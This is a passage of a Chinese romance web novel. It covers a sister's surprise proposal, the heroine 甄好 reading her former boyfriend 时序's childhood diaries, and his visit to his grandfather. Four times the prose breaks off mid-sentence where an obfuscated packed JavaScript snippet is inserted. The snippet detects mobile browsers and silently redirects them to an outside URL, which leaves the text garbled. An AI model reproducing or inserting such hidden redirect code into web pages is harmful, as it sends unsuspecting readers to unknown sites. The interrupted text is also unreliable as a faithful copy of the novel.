“怎么办啊，阿姐……”甄美话没说完，放在桌面的手机先响了起来。 她顿时弹跳起身，膝盖重重地磕到了桌角，疼得她直倒吸冷气。 “接吧，没事。”甄好看着一脸为难的甄美，鼓励她。 结果可想而知，何允莲劈头盖脸地骂了甄美一顿：“你就是嫌弃我这个破老母了，你心里没有我这个破老母了……” 甄美被骂得一句话都说不出来。 何允莲要是暴跳如雷地发脾气甄美还能痛快地跟她吵一架，偏偏她每次都是用可怜兮兮、委屈巴巴的语气控诉着，时不时还要哽咽地哭泣两声，这搁谁都受不了。 等何允莲终于说累了挂断电话后，甄好的手机很快也响了起来。 姐妹俩对视一眼，心中都有了答案。 答案正确，正是何允莲打来的，电话一接通她就用带着哭腔的声音说道：“好好，我怎么想都想不通，为什么我们母女仨的感情总是没办法更进一步……好好，你告诉我，我该怎么做……” 面对这个问题，甄好沉默了很久。她不知道该如何回答，因为她心里也没有答案。 何允莲又说了很多，大抵意思都是在惋惜母女之情不像他人那般亲密，控诉她们宁愿到咖啡店干坐着，也不肯在家陪她。 甄好和甄美都很无奈，却也只能不情不愿地回家。 回了家，何允莲变本加厉，又哭又闹，车轱辘话说了一轮又一轮，除了抱怨老天无眼，就是骂甄东成没用，说累了就开始说三个孩子嫌弃她了，不要她了…… 甄好头疼得视频拍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087897|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，文案也没灵感写，整个人身心俱疲。 她不像甄美，工作日还可以暂时逃离这个让人窒息的房子，她一天二十四小时几乎要跟何允莲共处一室。 现在的何允莲身上就像有一个巨大的情绪黑洞，无论丢进去多少正能量，都会被吞噬得一干二净，甚至会反噬无数倍，让任何靠近她的人也变得满身怨念。 如此又被何允莲折腾了一个周末，在她哭着质问姐妹俩为什么跟她不亲后，甄好做了一晚上的梦。 梦里都是何允莲。 第一个梦境是甄好五岁那年。 黑漆漆的夜，大人凌乱的脚步声，乱晃的手电筒，组成了那个逃亡的夜。 为了生一个弟弟，甄家在一夜之间逃往全国各地，从此家人分散。 而甄好被留在了闽镇，和甄逾冬一起生活。 小时候的很多记忆已经模糊，她却永远记得院子里燃起的熊熊大火；也记得被恶人下毒害死的牲畜，一头头猪被开膛破肚，满目的红；更记得睡到大半夜，被恶邻举着斧头砍门的惊恐…… 这一幕幕，或鲜红，或黑暗，组成她无法放晴的潮湿童年。 一生潮湿。 难以自救。 第二个梦境是甄好十二岁那年，甄逾冬突发急病去世，何允莲从津城回到闽镇老家。 那是甄好第一次对母亲有印象，彼时的何允莲年轻漂亮，烫着时髦的头发，染了好看的发色。她笑着伸手想要摸摸这个从未在身边长大，如今已经是个大孩子的女儿，可甄好躲开了她的手，一脸警惕地躲在了甄奶奶身后。 很奇怪，甄好知道自己在做梦，也知道这个梦是过去的投射，可她还是在梦里哭得像个没人要的小孩。 更让她伤心难过的是，这不是比喻。 她从小就是不被期待的孩子，就是没人要的小孩。 画面一转，第三个梦境她已经上了初中，因为二十元的生活费受尽何允莲说教。回到学校里，她看着同学们都穿着妈妈买的漂亮衣服、漂亮鞋子，书包里有妈妈塞的零食、口袋里有妈妈给的零花钱，她常常不解地一遍遍在心里问自己：为什么我的妈妈跟别人的不一样？ 冬去春来，甄好长大了。她开始明白其实父母没那么爱自己，也开始明白自己要最爱自己，何允莲却告诉她：“我们供你读大学，你现在工作了，要好好努力，以后弟弟娶老婆还要靠你们姐妹俩帮衬。” 她第一次与何允莲发生了巨大的争执，她尖锐而决绝地表示自己将来绝不会托举弟弟的人生，甚至嘲讽道：“娶不起老婆就不要娶，别祸害别人家的女儿好吗？” 气得何允莲几个月没有理她。 这也是甄好执着于买房的原因之一。 半夜醒来时，她伸手一摸，脸上一片湿润。 她在梦里哭，在梦外也哭。 有一股气堵在她心口，憋得她难受。 为了不影响甄美上班，何允莲是跟甄好住一间房。 担心吵醒何允莲，她轻手轻脚地起身，拿着手机去了阳台。 解锁手机的一瞬间，壁纸上那个笑得温柔的女孩映入甄好眼帘。 她这才意识到自己错拿了何允莲的手机。 何允莲的手机壁纸是甄好二十八岁生日时拍的，笑容温婉，眼里有光。 那时她还没有经历背叛，也没有经历聚散离合。 甄好紧紧握着何允莲的手机，这好像是她第一次从母亲身上感受到了微弱的母爱。 哪怕只有一点点，她也贪婪地想要拥有。 漆黑的阳台，单薄的背影，皎洁的月光，压抑的哭声。 72. 猝不及防的真相 缘分未尽的人，终将一次又一次相遇。 ——《橘色告白》 一个月后，甄好再次接到了沈翊的电话。 甄好打趣他：“我还以为你忘了。” “这件事怎么敢忘？”沈翊在电话那头不好意思地挠了挠脑袋，“好好姐，我能不能成功就靠你了。” “可别，这么大责任我担不起。”甄好郑重其事道，“这件事情的关键是你，拿出你的诚意，问题不大的。” 沈翊倒是问题不大，不过甄好觉得自己的问题有点大。 在那样的场合，势必会遇到时序…… 他们分手一个多月以来，一次都没有联系过，她没有做好心理准备，应该以什么样的心情去面对他…… 刚分手那阵，她整个人忙得焦头烂额，连悲伤的时间都没有。等忙过那阵，一个人安静下来的时候，她又会生出一种埋怨的心理。 这是一种很奇怪，也很矛盾的心理。 分手是她提的，他不挽回她却不高兴。 甄好自嘲地摇了摇头，暗叹自己这样的女人真难伺候。 傍晚五点，她根据沈翊发来的地址，哄着甄美一起打车前往半山的一处小院。 上车后，甄美还是觉得哪里不对劲：“阿姐，我怎么记得星禾姐姐的生日不是现在……” 甄好跟她说的是，苏星禾在半山别苑举办生日派对，邀请她们姐妹俩盛装出席。 “可能人家有事提前办了呢……”甄好心虚极了，借口找得很蹩脚。 不过甄美本来就是随口一问，她跟苏星禾只是普通交情，只参加过两次对方的生日会，想着也许是自己记错了。 见甄美没再追问，甄好不由得松了口气。就在这时，她的手机振动了两下。她拿出来一看，脸色微微变化。 是沈翊发来的消息：“好好姐，现场出现了一点意外，帮忙拖延一会儿，拜托拜托。” 在半山小院忙活的沈翊没敢给甄好打电话，怕被甄美看出端倪。 看完消息后，甄好立刻演了起来，有气无力地对司机说道：“司机大哥，我有点晕车，可不可以靠边停一下？误工费我出。” 姐妹俩都有晕车的毛病，所以甄美对此没有感到怀疑，反倒担心起来：“怎么忽然晕车了，你感觉怎么样？” 说完她又再次跟司机强调：“司机大哥，麻烦你靠边停一下，我姐晕车了。” 看着她脸上的担忧之色，甄好有些愧疚，但事已至此，只能继续按计划行事。 司机将车停在路边，又递了一瓶水给甄好：“喝口水休息一下，我去那边抽根烟，好了叫我。” 甄好满心感激：“谢谢司机大哥。” “谢谢。”甄美也冲司机大哥道谢道。 两人在路旁蹲了会儿，忍不住相视一笑。 “阿姐，我记得上一次晕车还是去沈翊家的时候。”沈翊家在半山，山路十八弯的，险些把她们晃吐了。 猛然听见她提起沈翊，甄好再度心虚起来，于是囫囵回答道：“是啊，好久没晕车了。” “你现在感觉怎么样？”甄美深知晕车的痛苦，语气里满是担心。 “好多了。”甄好胡诌着，“你也知道的，只要下了车就基本缓解了。” “这倒是。”甄美这才放下心来。 等再接到沈翊的信号已经是十分钟后的事了，两人一路畅通地来到半山小院。 沈翊提前带所有人来踩过点，所以甄好轻车熟路地带着甄美七拐八弯来到一处安静的地方。 “哇，这里布置得好梦幻啊！云祁哥对星禾姐好好啊……”甄美只顾着感慨，全然没想到为什么甄好对这里如此熟悉。 等走到沈翊指定的地点后，甄好悄悄走进黑暗处，甄美忙着给布置得精巧的地方拍照，没注意到她的举动。 这样更好。 甄好后退的时候想事情想得有点出神，一不小心踩了身后的人一下。 她忙回头低声道歉：“对不起，我不是故意……” “的”字被她硬生生吞入腹中，她踩到的不是别人，正是分开后未曾见过面的时序。 然而两人没有时间多说什么，因为此时全场的灯光忽然暗了下来。 甄美狐疑地回头，才发现甄好早已不知踪影，突然暗下来的现场也让她一时看不清周围。 “阿姐？”她转过身，试探着叫了一声。 她话音刚落地，灯光再度亮起，映入她眼帘的是一堵巨大的爱心墙，由她最喜欢迷你小屋组成。 正中心的那个房间赫然是她梦想中的婚房模样。 “这是……”甄美震惊地瞪大双眼，不敢相信地看着眼前的一幕。 紧接着，沈翊手捧着玫瑰花束来到她面前。男人单膝下跪的那一瞬间，她下意识地后退了一小步，同时抬手捂住嘴。 从前她还笑电视里被求婚的女主角反应过度，可当这种事情真正发生在自己身上时，才发现一点都不夸张。 在没有任何心理准备的情况下，感动和愕然一同出现时，真的会眼睛发热。 尤其是看着熟悉的人一个个从旁边缓缓围拢过来时，她的鼻子酸了又酸。 先从暗处走出来的人是甄好，然后是时序，再来是苏星禾、陆云祁、沈却、甄黎、周淳芮、鄢云书、傅安淮、陆星湛、孟南音，还有很多她的同事和朋友…… 他们每个人手里都拿着一枝花，各种各样的、不同颜色的，最后在甄美手里变成五彩缤纷的花束。 沈翊的声音也在这时缓缓响起：“美美，不知不觉，我们在一起五年了。在这将近两千个日夜里，我们相知相爱相守，我每一天都比从前爱你。 “你说过，你喜欢热闹，喜欢被众人围拢，喜欢被人肯定的感觉，我都记在心里。 “美美，我爱你。我想此后余生，一睁开眼就能看见你，你愿意嫁给我吗？” 甄美却抚摸着身旁那面心墙，说了一句风马牛不相及的话：“这些你是怎么搬上来的啊？” “二姐，这不是重点，你快答应姐夫！”甄黎着急地出声。 “小黎！”甄美忽然不好意思起来，“还不是姐夫呢……” 沈翊的紧张在甄黎的起哄声中消散了大半，再次鼓起勇气求婚：“甄美女士，你愿意嫁给我吗？” 这一回，大家安安静静的，没有道德绑架似的齐声喊“答应他，答应他”，也没有人再出声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16094985|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说什么。 他们都尊重甄美本人的想法，不欲让浪漫的求婚仪式变成任何人的压力。 “嗯。”终于，甄美轻轻地点头，神情羞赧，“我愿意。” “啊——我的女孩愿意嫁给我了。”沈翊高兴得戒指都忘了给甄美戴上，直接起身紧紧抱住了她，“谢谢你，谢谢你愿意嫁给我！美美，我爱你，好爱你！” 甄美轻推他：“好了，好了，这么多人看着呢……” “我们什么都没看到，也什么都没听到哦。”甄美的同事笑着道。 沈翊求婚成功后，晚宴正式开始。 小院里设有烧烤区、棋牌区、游戏区和美食美酒区。 甄好替妹妹高兴的同时，心里有闪过一丝怅然。 在场的没人知道她和时序的关系，自然不会知道她也曾被时序大张旗鼓地求过婚。 同样的深情，却得到了截然不同的结局。 甄好忍不住在人群里搜寻时序的身影，奈何无果。 她百无聊赖地走到小院另一面的露台，那边没什么人，比较安静，她想一个人吹吹风。 在距离露台还有几步远时，她听到了熟悉的声音。 她不是故意偷听的，只是沈却的话冲击性太大。 他指间夹着烟，与他并肩而立的人有一下没一下地把玩着金属打火机。 “咔嗒咔嗒”的脆响落在甄好耳畔，有种说不清楚的感觉。 就好像她正躺在时序怀里，而他总是习惯性地开开合合打火机。 沈却像闲聊般地问身边人：“时老弟，还不准备让好好知道半山公馆的那套房其实是你买的吗？” 时序轻笑着摇头：“不想让她有压力。” “你说你，要什么样的女人没有？”沈却有些无奈地说道，“偏偏这么多年来就吊在她这棵树上了，值得吗？” “没什么值不值得的，爱就是爱了。”时序盖上打火机，“咔嗒”声彻底消失，“我只希望她过得好。” “她都拒绝你的求婚了，你还这么为她着想……”这回换沈却摇头，“你真是没救了。” 将这些话听了个一清二楚的甄好惊得瞪大双眸。 她从未想过原来沈却清楚自己和时序的关系，更没想过原来时序才是自己那套房真正的买主！ 不等她想太多，她又听见时序半是威胁半是开玩笑地说道：“你最好将这件事给我带进棺材里，否则就是到了地下，我也不会放过你。” “行行行，不说，一定不说。”沈却抬手轻捶了一下他的肩膀，不甚走心地保证道。 两人后面又说了什么，甄好已经没有心情再听下去。 她随便找了个借口，在手机上叫了辆专车提前离了场。 路上，她不断催促道：“阿叔，可以麻烦您开快点吗？” 司机大哥说话带着浓重的闽市口音：“哎哟，小姑娘呀，这山路不好开太快的啦，危险知道不？咱们出门在外，安全第一，知道不？” 没办法，甄好只能强行压下焦躁的心。 如果有翅膀，她一定会超速飞回家里。 她想看看时序求婚当晚，他亲手交给自己的那个纸盒里到底装着什么。 73. 没有她的开学日 夏天会结束，我对你的喜欢不会。 ——《橘色告白》 时序在半山庄园求婚的那晚，甄好虽然拒绝并当场提出分开的决定，但还是带走了他事先准备的一个纸盒。 只是，后来的意外一件接一件，加上逃避心理作祟，她一直没有打开来看过。 在得知自己的房子真正的买主是时序后，她突然想到了这件事。 迫切的感觉让她再也没心情在小院里久待，便一个人提前回了家。 何允莲这几日状态好了不少，辗转玩了几个地方，现在又黏着甄东成，所以家里此时只有甄好一人。 等真的从柜子里拿出那个纸盒时，她却退缩了。 她不敢打开。 屋里只亮着一盏昏暗的小夜灯，窗帘被风掀起一角，就像她忽明忽暗的内心被什么东西轻轻地挠了一下。 又做了一会儿心理建设后，甄好深吸一口气，才打开读书台灯，动作轻缓地打开盒盖。 映入她眼帘的是一个看起来有点泛黄的旧本子，以及一些大小不一的卡片，还有一个四四方方的长方形收纳盒。 她先拿起了那个旧本子，心跳一下一下地加快。 这个本子与陪伴她多年的日记本长得一模一样。 她没有马上打开本子，而是不敢相信地在上锁的抽屉里寻找自己的日记本。 当两个一模一样的本子放在一起时，甄好有些恍惚。 这个本子是在小学五年级时，语文老师要求大家写周记上交，第一次写她就觉得很有意思，于是花了一部分压岁钱买了一个厚厚的笔记本，写下那些不方便给老师或大人看的心事。 她每天写的不多，有时候就几个字，最多也就几行，很偶尔才会有写了满满一整页或者几页的情况，所以那个本子她一直用到成年后，直到三年前才写满，换了新的五年日记本。 饶是她再爱惜和保护那个本子，如今也已满是岁月的痕迹，纸张泛黄不说，背脊已经脱胶，稍微不注意就会掉页。 甄好带着满腹疑问，缓缓地打开了时序给自己的本子。 看到第一页上面的字后，她轻轻咬了咬嘴唇。 第一行写的是：时大侠的江湖日记。 笔迹稚嫩，一看就是小孩子写的。 第二行用深棕色的笔在“时大侠的江湖日记”下写了一句：十一岁的我是不是很幼稚？ 这行字笔迹遒劲有力，带着几分潇洒，是甄好很喜欢的字体。 她合理地猜测这是时序成年后加上去的。 像时光突然回溯，甄好的思绪随着时序的记录慢慢回到了从前。 两个小小少年从丢沙包到桃子园再到后来吵吵闹闹的情谊像走马灯一样，一帧帧地在她脑海里闪过。 2003年6月30日星期一心情暴雨 今天放暑假了，原本很开心，可是我看到妈妈和一位叔叔在一起。 我是不是要有弟弟了…… 妈妈以为我什么都不知道，其实我什么都知道。 原来裴延东的出现时序早就知道了，只是他懂事地隐藏了自己的情绪，不想让时谙阿姨伤心和为难。 甄好才终于明白一向开朗又调皮捣蛋的时序为何在那个蝉鸣匝地的暑假忽然安静了。 隔着十多年的时空，她忽地心疼起了那个只能向日记本诉说烦心事的少年。 她继续往下看—— 2003年7月1日星期二心情阴转晴 好奇怪，阴沉的心情在看到好好的一瞬间，突然变得明媚起来。 好好一定是我生命里的小太阳吧。 看到这里，甄好不禁脸上一热。 她从未想过时序对自己的爱慕之心出现得那样早，更没想过他会将自己的赤忱一个字一个字地记录了下来。 2003年7月2日星期三心情晴朗 说起来很可笑，就在上个月，我还在对好好写日记这件事感到不以为然，没想到一个月后的自己，也做起了同样的事。 2003年7月3日星期四心情彩虹 能够见到好好的每一天都是幸福的甜甜圈。 2003年7月4日星期五心情晴朗 写日记也没想象中的那么难以坚持嘛，我都连续写了五天了，我果然是江湖上最厉害的大侠。 然后时大侠就断了整整十天没写新的日记。 甄好：“……” 她甚至能从这几行字里想象出少年时序脸上的那股得意劲，仿佛没什么事能够难倒他。 2003年7月14日星期一心情晴朗 嘿嘿嘿，当没看过上一篇日记。 甄好这下真没忍住笑出声来。 不愧是时序，总能轻易逗她笑。 2003年8月11日星期一心情晴朗 今天是好好的生日，我想给她最好的东西。 可是我家只有脆脆甜甜的桃子。 还好好好很喜欢……开心，嘻嘻。 2003年8月12日星期二心情多云 我好像惹好好不高兴了，明天再摘一篮子脆桃去道歉好了。 2003年8月25日星期一心情多云 啊，还有六天就要开学了。 幸好学校里也有好好，不然这学上得更苦了。 ………… 甄好震惊于时序写日记的习惯竟跟自己的差不多，大多都是短短的几行字，唯一不同的是，她几乎日日都写，他则比较看心情。 在上初中之前，时序的日记写的都是些生活小事，只有第一次提到了让他不开心的裴延东，整个看下来他就是一只快乐小狗在快乐地享受小学生活。 但日记内容到了初中就变了—— 2005年9月1日星期四心情晴朗 今天正式成为一名初中生啦，终于长大了。 最开心的是，好好跟我同班！ 2005年9月2日星期五心情晴朗 初中生活好有意思，喜欢。 好好就在身边，更喜欢。 ………… 2005年9月20日星期二心情阴 我跟踪了好好，好好生气了。 但知道她每天晚上跑去楼紫巷只是为了跟秋先生学南音，我就放心了。 2005年9月21日星期三心情特大暴雨 好好好像不喜欢我。 好好不喜欢我没事，可是她好像喜欢别人。 好难过。 2005年9月22日星期四心情阴 我看向好好的时候，她却看着别人。 好难过。 2005年9月23日星期五心情多云 好难过。 但不能一直这样难过。 好好肯定不喜欢多愁善感的男生。 2005年9月24日星期六心情阴 是不是因为我个子不够高、篮球打得不够好，所以好好不喜欢我？ 从今天开始，我要多喝牛奶，多运动，争取早日长到一米八！ 2005年9月26日星期一心情雷雨 如果你喜欢的女生喜欢自己的好兄弟，你应该怎么办…… ………… 回想起被683吸引的那段时光，甄好觉得很不真实。 师杭与更像是她的一个精神寄托，或者说是对现实的逃避。 她不知道的是，原来自己也是另一个少年的青春信仰。 而她，残忍地摧毁了这个信仰。 时序突然转学与大家失去联系后的日记变得零落又孤单，字字句句都透露着纠结与无奈。 甄好看到了一个少年从意气风发到萎靡不振再到如今从容有度的模样—— 2006年9月1日星期五心情特大暴雨 初二快乐，第一个见不到好好的开学日。 手机掉了，□□也被盗了。 好好，我感觉我要彻底失去你了。 ………… 2007年9月1日星期六心情特大暴雨 初三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104045|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快乐，第三个见不到好好的开学日。 ………… 2008年9月1日星期一心情特大暴雨 高一快乐，第五个见不到好好的开学日。 好好，我们上高中了。 2008年10月1日星期三心情阴 好好，分开的这些年里，我陆陆续续联系上了以前的同学。 唯独你，我没有勇气去打扰你。 ………… 2009年9月1日星期二心情晴朗 高二快乐，第七个见不到好好的开学日。 我喜欢这个夏天，更喜欢你。 偶然间看到一个女生写给我好兄弟的情书里有这句话，觉得很喜欢，就偷了。希望你也喜欢。 甄好：“……” 如果不是看到时序的这句话，她几乎都要忘记喻玲设计自己给师杭与写情书的事了。 她坐在书桌前看了很久，从时序不辞而别看到了他们高考的那年—— 2010年9月1日星期三心情多云 高三快乐，第九个见不到好好的开学日。 ………… 2011年6月7日星期二心情晴朗 高考第一天结束。 这个夏天，我想赢，也想你。 ………… 那个高考季，甄好在干什么呢？ 她对未来既充满期待，又惶恐不安。 高考出分后，她的成绩不好不坏，上了211院校，家人却在她上大学一事上起了小小的冲突。 何允莲认为女儿不需要读那么多书：“好好念到高中就够了，这大学要不别读了吧。” 甄东成却主张：“读书才能出人头地，不管孩子们考得怎么样，他们愿意读我就继续供。” 在这一点上，甄好很感激父亲。如果不是他的支持，她可能早就像村里其他姐姐一样，随便进一个厂子打几年工，然后相亲嫁人，如此便是一生。 她更感激父亲当年明明生意亏损，欠了银行钱，却还是愿意贷款供她念大学。 在得知甄东成欠的百万巨资里包含供三个孩子读书的钱时，甄好的心酸了又酸。 她只恨自己成长的速度敌不过父母老去的速度，在他们需要儿女承托的时候，她还一事无成。 这件事曾让她泄气了很久。 何允莲有一次突然问起：“好好啊，你会不会怪妈妈当年不想让你读大学啊？” 怪吗？ 甄好就这个问题思索了良久。 她想，如果当年没能读成大学，她不仅会怪何允莲，还会恨吧。 但她没有因为何允莲的阻止而失去上学的机会，所以她只会更加认清楚一个事实：其实父母没有那么爱你。 所以她只是略显敷衍地回答何允莲：“不怪，你和阿爸都辛苦了。” 一是再抓着过去不放已经没有任何意义，二是以何允莲问出这个问题时的精神状态，甄好不敢说太过分的话刺激她。 甄好轻叹一口气，打算将剩下的日记看完—— 2011年9月1日星期四心情晴朗 大一快乐，第十一个见不到好好的开学日。 好好，今天我们都是大学生了。 希望你不要谈恋爱。 又希望你能被人好好地爱一次。 哪怕这个人不是我也没关系。 ………… 2012年9月1日星期六心情晴朗 大二快乐，第十三个见不到好好的开学日。 ………… 2013年9月1日星期日心情多云 大三快乐，第十五个见不到好好的开学日。 ………… 2014年9月1日星期一心情晴朗 大四快乐，第十七个见不到好好的开学日。 ………… 时序的日记止于他们重逢的那日，也就是甄好第一次与秦深分手当晚。 九年不见，她以最狼狈的模样出现在时序面前。 74. 全心全意爱着她 爱屋及乌，是一段感情最大的诚意。 ——《橘色告白》 看完时序从少年到成年时期写下的所有日记后，甄好一阵心酸。 她轻抚着放在桌面上两本一模一样的笔记本，既感到莫大的安慰又感到巨大的惶恐。 和时序分开，是她深思熟虑过后的决定。 他们之间的差距在哪里，不用细想她都能说出很多条来。 两个不对等的人在一起，往后的问题只会越来越多，她原本就因为裴家和甄家家庭条件的巨大差别而对这段关系犹豫不决，后来甄东成的欠债彻底让她的心彻底沉入谷底。 她摇摇欲坠的心只需要最后一根稻草，便足以让她跌入万丈深渊。 时间不知不觉已经很晚了，她听到玄关传来开门的动静。 应该是甄美回来了。 仅仅几秒钟，外面便又归于平静。 甄美应当是以为她休息了，是以没有来打扰。 随着夜越来越深，人的感官好似也变得敏感起来。 将两本日记本仔细收好后，甄好开始查看纸盒里的其他东西。 那些形状大小不一的卡片，原来是一张张名片，每张名片都和白色便笺用订书针订在一起。 甄好随手拿起一份，只见上面的便笺写着：这位是闵教授，在调理失眠焦虑、更年期综合征方面很有一套，我们可以带阿姨去求诊。 她又拿起一份：这位是×院的袁博士，在妇科方面很有建树。 一张张名片从她手中被拿起又被放下，每一张上面介绍的都是全国顶尖的医生，每一张都对症何允莲的病情。 时序的字很好看，写下的内容更是让她看得鼻尖酸了又酸。 他不仅有在全心全意爱着她，甚至连她的家人也一并爱着。 这份深厚的情谊重到甄好甚至不敢接。 她将写着便笺的名片一张张整理好，收拾妥帖又放好后，才拿出了纸盒里的最后一样东西。 那是一个木制的多层收纳盒，做工精巧，盒身上刻有精细的雕花，整体简约大气。 甄好狐疑地抽开第一层抽屉，映入眼帘的是一排排金灿灿的……戒指。 甄好：“……” 时序这是什么意思？ 她拿起放在盒盖内侧镜子上的小卡片，看到上面龙飞凤舞地写着几行字—— 好好，我知道你不喜欢钻石那等俗气的东西，所以每当我想跟你结婚了就买一样首饰来放着，不知不觉就放满了，你快来管管我。 甄好：“……” 她将每层抽屉，包括侧面的都一一打开，这个首饰盒里包括但不限于戒指、手镯、手链、项链、坠子，林林总总估计得有上百件，其中以实心手镯和吊坠居多，单个拿在手里都感觉沉甸甸的。 时序这是专挑重的买吧？ 还有，他是不是对俗气有什么误解，怎么看都是这些黄金首饰看起来更俗气吧？ 可这份俗气她好喜欢。 这个男人是真的爆金币，是爆真金币。 撇开别的不说，这点就很让甄好心动。 很难有女人不心动吧…… 甄好伸手轻轻抚摸一件件小巧精致的黄金首饰，眼里迸发出的喜爱藏都藏不住。 她也不是一瞬间想通的，但醍醐灌顶也就是一瞬间的事情而已。 时序有钱是他的本事，他有钱还喜欢自己，且只喜欢自己，那这就是她的本事了。 既然她什么都不做就可以做一个有本事的女人，那她不介意成为一个更有本事的女人。 只是刚好她喜欢的人是有钱人家的少爷，是裴氏集团未来的继承人而已，恋爱有何不可，结婚又有何不可？ 利用男人攫取更多资源有何不可，踩着男人往上爬又有何不可？ 女性总是被赋予更多的恶意，总是被社会要求更多，既然无论做与不做都会被误解，那何不去做？ 结果是好还是坏，在极致的人脉和资源面前已经不重要了。 裴家老宅。 裴老爷子近日来身体越发不适，时序回老宅的次数也变多了起来。 “祖父，您今天感觉怎么样？”时序被认回裴家后，就数裴老爷子最为宠爱他，爷孙俩的感情甚至好过父子情。 无论是裴老爷子与裴延东这对父子，还是时序和裴延东这对父子，都比不过时序和裴老爷子之间的祖孙情。 “今日好些了。”裴老爷子这日脸色确实好了不少。 “祖父，尝尝新出的春茶。”时序熟练地洗茶、冲茶，不多时，一杯散着袅袅热气的热茶便完成了。 “还是你小子疼爷爷，知道爷爷好这口。”裴老爷子笑呵呵的，端起热茶吹了吹，而后一口饮下。 “只能喝这一杯。”待裴老爷子放下茶杯后，时序这样说道。 喝多了老人家夜里睡不好觉。 “好好好，只喝一杯。”裴老爷子发白的胡须微微颤动，笑得见牙不见眼。 祖孙俩又聊了点别的，茶室里时不时传来爽朗的笑声。 “小序，傍晚来陪爷爷下棋。”裴老爷子原想着下一把棋再去午休，奈何身子不太爽利，他感觉有些累了。 “好，祖父随时唤我。”时序搀着裴老爷子慢慢起身，朝卧房走去。 裴老爷子睡午觉的时候，时序并未离开，而是去了书房。 他被认回裴家后，常住的地方便是这栋老宅，书房更是他的老朋友了。 而今他自己一个人搬出了老宅，回来的次数屈指可数。 再次走进书房，映入眼帘的竟是他上学时的书籍。 从初中到高中再到大学，无论是教科书还是辅导书，都整整齐齐地列在书架上，透过玻璃门能够完全看清全貌，甚至看得出有人时常打扫。 “小裴总回来了啊。”外出买菜的保姆张婶这时回到了老宅，见时序驻足在书房门口，忍不住说道，“裴老先生最爱这一屋子书了，每天都要亲自打扫整理一遍。” 时序心中一咯噔。 他原以为这偌大的书架是由张婶打扫整理的，不承想…… “祖父他……”时序垂下眼帘，心里微微泛酸，一时没有后话。 “小裴总，今后有空多回来看看裴老先生吧。”张婶知道自己不该多嘴，可还是忍不住，“我瞧得出，他想念您想得紧。” 张婶一句话生生逼出了时序的泪意，眼睛发酸的同时心口也感觉有些喘不上气来。 “知道了，张婶。”努力压下喉咙间的哽咽后，时序的语气如常，“辛苦张婶了。” “不辛苦不辛苦，这都是应该的。”张婶笑着摆摆手。 裴家待她不薄，她不是那种忘恩负义之人。 她知晓有钱人都忙，可她更知道，有些东西是钱买不到的。 她不希望裴家将来有任何一个人后悔。 “那小裴总，我去准备晚饭的食材了。有事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16119191|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您叫我。”张婶又说道。 “嗯，有劳。”时序说完缓步走向隔着玻璃门的那些旧书前，眼中闪烁着微光。 他在书房里一待就是几个小时，直到裴老爷子轻轻地敲了敲门，他才从书页上抬起头来。 “祖父，您睡醒了。”见裴老爷子站在门口，他忙起身去迎。 “爷爷还以为一觉睡醒，你小子又溜出老宅去野了。”裴老爷子拄着拐杖，步履蹒跚地走向时序。 祖孙俩的手很快握在一起，时序稍稍用力，听见这句话心里更加不是滋味。 他的确是该常常回老宅走动走动了，他甚至动了搬回来住的念头。 “祖父，我想搬回来住。”时序这么想着，也这么说了。 他是认真的。 只是，他没想到自己的认真竟让老人双眼瞬间闪着泪花，久久才用力地反握住他的手，声音藏着一丝丝哽咽：“你小子说的是真的吗？别哄我老人家开心。” “是真的，祖父，我想搬回老宅住。”时序扶着裴老爷子坐到椅子上，又郑重其事地保证，“我这两天就收拾好东西，尽快搬回来。” “好好好，搬回来好。”裴老爷子激动得面色潮红，“搬回来有张婶照顾你的吃食，我老爷子也放心些。” 久违的祖孙乐时光持续到傍晚，延续到棋局之上，又跳跃到晚饭的餐桌上，时序更加想让这份美好每日都发生。 搬家一事迫在眉睫。 等哄裴老爷子睡着后，时序坐在老宅的阳光房里，看着苍穹上如玉盘的冷月，除了搬家的念头越发强烈，还有—— 他握着裴老爷子临睡前交给自己的东西，心里堵得慌。 